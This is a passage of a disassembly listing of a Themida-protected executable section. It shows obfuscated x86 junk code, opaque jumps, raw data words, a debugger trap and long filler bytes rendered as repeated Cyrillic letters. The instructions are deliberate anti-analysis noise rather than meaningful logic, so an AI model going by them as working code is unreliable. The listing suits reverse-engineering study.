dl, bh pusha mov si, 0D627h mov ch, 9 popa jge loc_5D06AE jb loc_5D06AE call sub_5D06AD ; CODE XREF: Themida_:005D06A8j adc dl, bh jb short near ptr loc_5D06A1+1 ; --------------------------------------------------------------------------- dw 0C6C4h db 0F2h ; =============== S U B R O U T I N E ======================================= sub_5D06AD proc near ; CODE XREF: Themida_:loc_5D06A1p pop ecx loc_5D06AE: ; CODE XREF: Themida_:005D0695j ; Themida_:005D069Bj jp loc_5D06C0 jmp loc_5D06C0 ; --------------------------------------------------------------------------- db 8Bh, 1, 13h dd 0E566FADCh ; --------------------------------------------------------------------------- loc_5D06C0: ; CODE XREF: sub_5D06AD:loc_5D06AEj ; sub_5D06AD+7j adc cx, 0B25Eh mov ax, dx adc edx, 43472EF0h cld pusha jge loc_5D06DA mov ax, 0D18Ch loc_5D06DA: ; CODE XREF: sub_5D06AD+23j mov ebx, edi popa xor edi, 66AA2E4Ch or esi, 3CDD3317h jmp loc_5D06F3 ; --------------------------------------------------------------------------- dw 8E9Ch ; --------------------------------------------------------------------------- div dword ptr [ebx+1Fh] loc_5D06F3: ; CODE XREF: sub_5D06AD+3Cj clc pusha jbe near ptr loc_5D0705+2 call near ptr loc_5D0705+1 inc esi db 66h jns short loc_5D077B daa loc_5D0705: ; CODE XREF: sub_5D06AD+4Ep ; sub_5D06AD+48j sbb byte ptr [edi-75h], 0CFh sub_5D06AD endp ; sp-analysis failed popa movzx eax, ax push edi mov edx, edi pop ebx mov edx, ebx mov dx, 0CAD2h push eax jmp loc_5D0731 ; --------------------------------------------------------------------------- db 27h, 0FAh, 0BFh dd 2383B9A2h, 1B78B48h, 77EA9987h, 25E4D9DEh db 0CCh ; --------------------------------------------------------------------------- loc_5D0731: ; CODE XREF: Themida_:005D0718j pop edi jmp loc_5D0744 ; --------------------------------------------------------------------------- db 30h dd 5B11ED6Ch, 0DA0F1E18h, 0B9DD3A83h ; --------------------------------------------------------------------------- loc_5D0744: ; CODE XREF: Themida_:005D0732j mov si, dx pusha call sub_5D0754 pop ebx arpl [ecx+4Ah], di aad 0B6h das ; =============== S U B R O U T I N E ======================================= sub_5D0754 proc near ; CODE XREF: Themida_:005D0748p ; sub_5D0754+79j cmc pop edi popa pusha or ecx, 6D5DCB2Bh popa add ecx, 29E2A8D7h xor edi, 631D3ED6h mov edi, 769E650Fh jmp loc_5D077F ; --------------------------------------------------------------------------- db 4Ch, 0DCh, 0FDh ; --------------------------------------------------------------------------- test al, 0F8h cli loc_5D077B: ; CODE XREF: sub_5D06AD+54j mov cl, [edi] xchg eax, esi cmc loc_5D077F: ; CODE XREF: sub_5D0754+1Cj pusha jmp loc_5D0790 ; --------------------------------------------------------------------------- db 2, 0A8h, 77h dd 8DC5B98Ch, 65DAE12Bh ; --------------------------------------------------------------------------- loc_5D0790: ; CODE XREF: sub_5D0754+2Cj popa jmp loc_5D079D ; --------------------------------------------------------------------------- mov eax, [ecx+34h] add [esi-4Eh], esp push ebx loc_5D079D: ; CODE XREF: sub_5D0754+3Dj mov cx, si jmp loc_5D07B7 ; --------------------------------------------------------------------------- db 87h, 0A5h, 3Fh dd 426C8F29h, 0CCC53EFDh, 0C13710Eh db 2Bh, 0A6h, 93h ; --------------------------------------------------------------------------- loc_5D07B7: ; CODE XREF: sub_5D0754+4Cj mov ecx, 64B5E6F1h call near ptr loc_5D07D1+2 sbb [esi], esp xor esp, [edi-6D991E01h] inc eax int 3 ; Trap to Debugger cmp edi, ecx jecxz short sub_5D0754 mov dh, 1Fh loc_5D07D1: ; CODE XREF: sub_5D0754+68p mov word ptr [ecx-7E99A40Bh], fs sub_5D0754 endp ; sp-analysis failed fiadd word ptr [ebp-357E9965h] pop edi mov ah, [esi-75h] fsubp st, st or eax, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 0BDh dd 793EC9B1h, 96D75FDFh, 0F18B664Dh, 0C890F59h, 0E9000000h dd 7, 5FE9256Bh, 0FC21271h, 12E8D2B7h, 95000000h, 0BF06A1C6h dd 0B29091DEh, 51AC7EDh, 93AC5D16h, 12E9EFh, 96A40000h dd 0BFDEE5ECh, 883D8926h, 0C9267F0Dh, 6535F915h, 8B66605Bh dd 0FE9F3h, 3FB20000h, 0F28A5F9Ch, 0A605EA97h, 6E6C5B85h dd 5FB96174h, 8A3B7BD2h, 45A8B9EFh, 0E96049FCh, 0Bh, 287B9570h dd 0A445C864h, 0F3C9C6Eh, 0BE61F6BFh, 7E621CF5h, 66D0BF0Fh dd 6E8CB8Bh, 0F7000000h, 1687B83Ch, 0B810FEFh, 0E9000000h dd 6, 0DCE44ACEh, 60586755h, 0C8DE8166h, 9F93BB92h, 0F61349Dh dd 58Dh, 0B70F5300h, 0BF0F5AFEh, 7870FC7h, 0F000000h, 186h dd 12E9F800h, 4F000000h, 802EE8FBh, 0A3DAAFB3h, 6637247h dd 0EB699B99h, 0D8BF0F98h, 9D10B966h, 5810Fh, 81660000h dd 513C8CD7h, 6850Fh, 800F0000h, 0 ; --------------------------------------------------------------------------- pop edi jns loc_5D0914 jmp loc_5D0914 ; --------------------------------------------------------------------------- dd 0D14FD334h, 4DE6C418h, 0C1EB8036h, 23544725h ; --------------------------------------------------------------------------- loc_5D0914: ; CODE XREF: Themida_:005D08F9j ; Themida_:005D08FFj mov dx, si jmp loc_5D092C ; --------------------------------------------------------------------------- dd 4A10A2B4h, 0D5F1F6B6h, 0D24E766Bh, 0F860199Fh ; --------------------------------------------------------------------------- loc_5D092C: ; CODE XREF: Themida_:005D0917j mov ebx, eax push ecx add ecx, 34905AA7h pop ecx pusha jmp loc_5D0943 ; --------------------------------------------------------------------------- dd 0B3DBF365h db 18h, 6, 0B0h ; --------------------------------------------------------------------------- loc_5D0943: ; CODE XREF: Themida_:005D0937j popa jg loc_5D094E push eax mov ch, 32h pop edi loc_5D094E: ; CODE XREF: Themida_:005D0944j cmc mov bx, ax adc esi, 10635E6Eh mov cx, 8776h push edx movzx ecx, ax pop esi jmp loc_5D0971 ; --------------------------------------------------------------------------- dw 9376h dd 0C20CFC19h, 759392ABh db 0A0h ; --------------------------------------------------------------------------- loc_5D0971: ; CODE XREF: Themida_:005D0961j jmp loc_5D097E ; --------------------------------------------------------------------------- dw 268Fh dd 0A2EAE259h db 36h, 0CFh ; --------------------------------------------------------------------------- loc_5D097E: ; CODE XREF: Themida_:loc_5D0971j sbb ebx, 2CCF4EEAh mov edi, 66C597Fh push edi movzx esi, ax pop edi mov bx, 0CA92h sub edi, 28D65329h jb loc_5D09A1 or dh, 0CBh loc_5D09A1: ; CODE XREF: Themida_:005D0998j clc mov cl, 0AEh or si, 0CC15h mov si, cx or bl, 5Ch stc stc jmp loc_5D09C8 ; --------------------------------------------------------------------------- dw 75E5h dd 0F6F05F62h, 0D391F37Bh, 4097E89Ah, 23FFD95Bh ; --------------------------------------------------------------------------- loc_5D09C8: ; CODE XREF: Themida_:005D09B1j push ebx mov ax, bx pop edi adc ecx, 769A24F3h sbb esi, 3047F770h cmc pusha sbb bx, 58B4h pusha jmp loc_5D09EE ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0C9h dd 0E4896FC0h db 15h, 0B6h ; --------------------------------------------------------------------------- loc_5D09EE: ; CODE XREF: Themida_:005D09E1j jg $+6 popa popa jmp loc_5D0A0F ; --------------------------------------------------------------------------- align 4 dd 33A958ABh, 0D19EC490h, 38437879h, 0A22B3882h db 0EDh, 0F7h, 8 ; --------------------------------------------------------------------------- loc_5D0A0F: ; CODE XREF: Themida_:005D09F6j mov cl, bh mov si, 0D552h mov dl, 6 jo loc_5D0A32 jmp loc_5D0A32 ; --------------------------------------------------------------------------- dw 0A786h dd 515CCA18h, 85089EDDh, 72E1534Dh db 0Dh, 0F1h ; --------------------------------------------------------------------------- loc_5D0A32: ; CODE XREF: Themida_:005D0A17j ; Themida_:005D0A1Dj mov edi, ecx jmp loc_5D0A4D ; --------------------------------------------------------------------------- db 0B3h, 8Ch, 15h dd 0B8C7EB2Eh, 0C6F6C5E8h, 2BBB374Ch, 7CBB0A47h db 67h ; --------------------------------------------------------------------------- loc_5D0A4D: ; CODE XREF: Themida_:005D0A34j movsx esi, di mov ecx, 16119A85h mov dl, ch jns loc_5D0A6D jmp loc_5D0A6D ; --------------------------------------------------------------------------- dw 0AF47h dd 773258CEh ; --------------------------------------------------------------------------- mov dh, 19h ; START OF FUNCTION CHUNK FOR sub_5D0A92 loc_5D0A6A: ; CODE XREF: sub_5D0A92+38j stc and ebp, esp loc_5D0A6D: ; CODE XREF: Themida_:005D0A57j ; Themida_:005D0A5Dj call sub_5D0A81 imul dword ptr [edi+683ED6BEh] dec eax push esi add dword ptr [edx+0], 50017634h ; END OF FUNCTION CHUNK FOR sub_5D0A92 ; =============== S U B R O U T I N E ======================================= sub_5D0A81 proc near ; CODE XREF: sub_5D0A92:loc_5D0A6Dp mov di, 416Dh pop ebx call sub_5D0A92 test ch, cl pop eax xchg esi, [esi+42h] das sub_5D0A81 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D0A92 proc near ; CODE XREF: sub_5D0A81+5p ; FUNCTION CHUNK AT 005D0A6A SIZE 00000017 BYTES push ecx jmp loc_5D0AA6 ; --------------------------------------------------------------------------- dd 121E85BBh, 0DC3C7B79h, 9005C44Dh ; --------------------------------------------------------------------------- xchg ch, [esi] loc_5D0AA6: ; CODE XREF: sub_5D0A92+1j pop eax pop ebx jnb loc_5D0AB1 movsx edi, bx loc_5D0AB1: ; CODE XREF: sub_5D0A92+16j sub si, 92FAh jl loc_5D0ACE ; CODE XREF: sub_5D0A92+30j push ebx call sub_5D0ACC jns short near ptr loc_5D0AB6+2 and ecx, [ebx+6C4BE700h] jle short loc_5D0A6A sub_5D0A92 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D0ACC proc near ; CODE XREF: sub_5D0A92+2Bp pop edi pop eax loc_5D0ACE: ; CODE XREF: sub_5D0A92:loc_5D0AB6j mov ebx, esi jmp loc_5D0AE5 ; --------------------------------------------------------------------------- inc ebx lodsd push esi pop esp mov ebp, 6559830Fh mov ch, al push esi add al, 43h movsb pushf loc_5D0AE5: ; CODE XREF: sub_5D0ACC+4j sbb eax, 32005ED0h stc mov di, ax pusha stc mov cx, di popa pusha stc jmp loc_5D0B0B ; --------------------------------------------------------------------------- db 0CCh db 95h, 0BFh, 97h dd 1481B0D1h, 0B1CC1692h db 4Ah, 1Dh, 5Fh ; --------------------------------------------------------------------------- loc_5D0B0B: ; CODE XREF: sub_5D0ACC+2Bj popa movzx ebx, cx mov ecx, 56911A43h and bx, 3030h mov edx, 7BAB42D4h jo loc_5D0B29 xor ax, 8F59h loc_5D0B29: ; CODE XREF: sub_5D0ACC+52j jnb loc_5D0B42 jmp loc_5D0B42 ; --------------------------------------------------------------------------- or [ebx+ebp*8-381A7863h], ecx retn 0D4E4h ; --------------------------------------------------------------------------- dw 6FB8h ; --------------------------------------------------------------------------- mov cl, 6Bh loc_5D0B42: ; CODE XREF: sub_5D0ACC:loc_5D0B29j ; sub_5D0ACC+63j push esi jz loc_5D0B4E sub ax, 8D0Dh loc_5D0B4E: ; CODE XREF: sub_5D0ACC+77j pop ebx push ecx mov al, 57h pop esi or eax, 3A49E9C7h mov ecx, 2F5A9E35h ja loc_5D0B67 movsx ebx, cx loc_5D0B67: ; CODE XREF: sub_5D0ACC+92j pusha jmp loc_5D0B74 ; --------------------------------------------------------------------------- db 0B9h, 33h, 0A0h dd 4235C4FDh ; --------------------------------------------------------------------------- loc_5D0B74: ; CODE XREF: sub_5D0ACC+9Cj popa jbe loc_5D0B7D mov ch, 0F6h loc_5D0B7D: ; CODE XREF: sub_5D0ACC+A9j sub di, 0FA01h push ecx pop esi add bx, 28F5h and bx, 71D9h sbb si, 0FCE1h mov eax, ecx push ebx push edx jmp loc_5D0BAA ; --------------------------------------------------------------------------- dd 4C1F769Ah, 4B0E063Eh, 0CC5743E5h db 80h, 0A1h ; --------------------------------------------------------------------------- loc_5D0BAA: ; CODE XREF: sub_5D0ACC+CBj pop ecx pop ecx mov ax, 13E0h jbe loc_5D0BC2 call sub_5D0BC0 push edi mov bl, 54h das inc esp sub_5D0ACC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D0BC0 proc near ; CODE XREF: sub_5D0ACC+EAp ; FUNCTION CHUNK AT 005D0C16 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005D0C28 SIZE 0000003D BYTES cmc pop eax loc_5D0BC2: ; CODE XREF: sub_5D0ACC+E4j push ecx add esi, 66C23DBCh pop esi call near ptr loc_5D0BD1+3 jbe short loc_5D0C16 loc_5D0BD1: ; CODE XREF: sub_5D0BC0+Ap add byte ptr [ebx+48D0F22h], 0 sub_5D0BC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0B9660000h, 6658FFA8h, 7E8CD181h, 0B70FF9F5h, 0E7BA66F8h dd 6810F31h, 81000000h, 0FA8ADEF3h, 605A5146h, 0FFAB70Fh dd 0F61F6BFh, 8153FAB7h, 0E94479D9h, 8B0F5A22h, 2 ; --------------------------------------------------------------------------- mov eax, esi ; START OF FUNCTION CHUNK FOR sub_5D0BC0 loc_5D0C16: ; CODE XREF: sub_5D0BC0+Fj jmp loc_5D0C28 ; END OF FUNCTION CHUNK FOR sub_5D0BC0 ; --------------------------------------------------------------------------- db 12h dd 77F694E3h, 6F17049Ah, 5348BBC6h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D0BC0 loc_5D0C28: ; CODE XREF: sub_5D0BC0:loc_5D0C16j jl loc_5D0C31 movzx eax, ax loc_5D0C31: ; CODE XREF: sub_5D0BC0:loc_5D0C28j sbb bx, 629Ah movzx esi, bx and eax, 7573E953h mov edi, 2CF7E6AAh add cx, 1E14h mov ah, dh mov ax, si mov esi, edi and esi, 18F952F5h call near ptr loc_5D0C5F+3 xchg eax, esi xchg eax, edx nop dec ebp loc_5D0C5F: ; CODE XREF: sub_5D0BC0+96p xor [ebx+0CE802h], bh ; END OF FUNCTION CHUNK FOR sub_5D0BC0 ; --------------------------------------------------------------------------- db 2 dup(0), 0D2h dd 8C44B0EEh, 108220D4h, 609CF96Ah, 0E1585B61h, 27h dup(0E140C28Dh) dd 6D85C28Dh, 242h dup(6D879609h), 42Bh dup(3A5CE287h) dd 63138D87h, 16h dup(63138E16h), 70C91A16h, 197h dup(70C91944h) dd 0E36B1944h, 6Ch dup(0E36B33E2h), 0CFh dup(41CDCACBh) dd 9BCDCACBh, 3E5h dup(9B34FB7Eh), 0CCCCFB7Eh, 2D1h dup(0CCCCCCCCh) db 3 dup(0CCh) asc_5D4D5B db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' ; DATA XREF: ___:off_43163Co db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл' db 'ллллллллллллллллллллллллллллллллл',0 align 400h Themida_ ends ; Section 5. (virtual address 001D6000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001D6000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5D6000h dd 80h dup(0) align 1000h _idata2 ends end start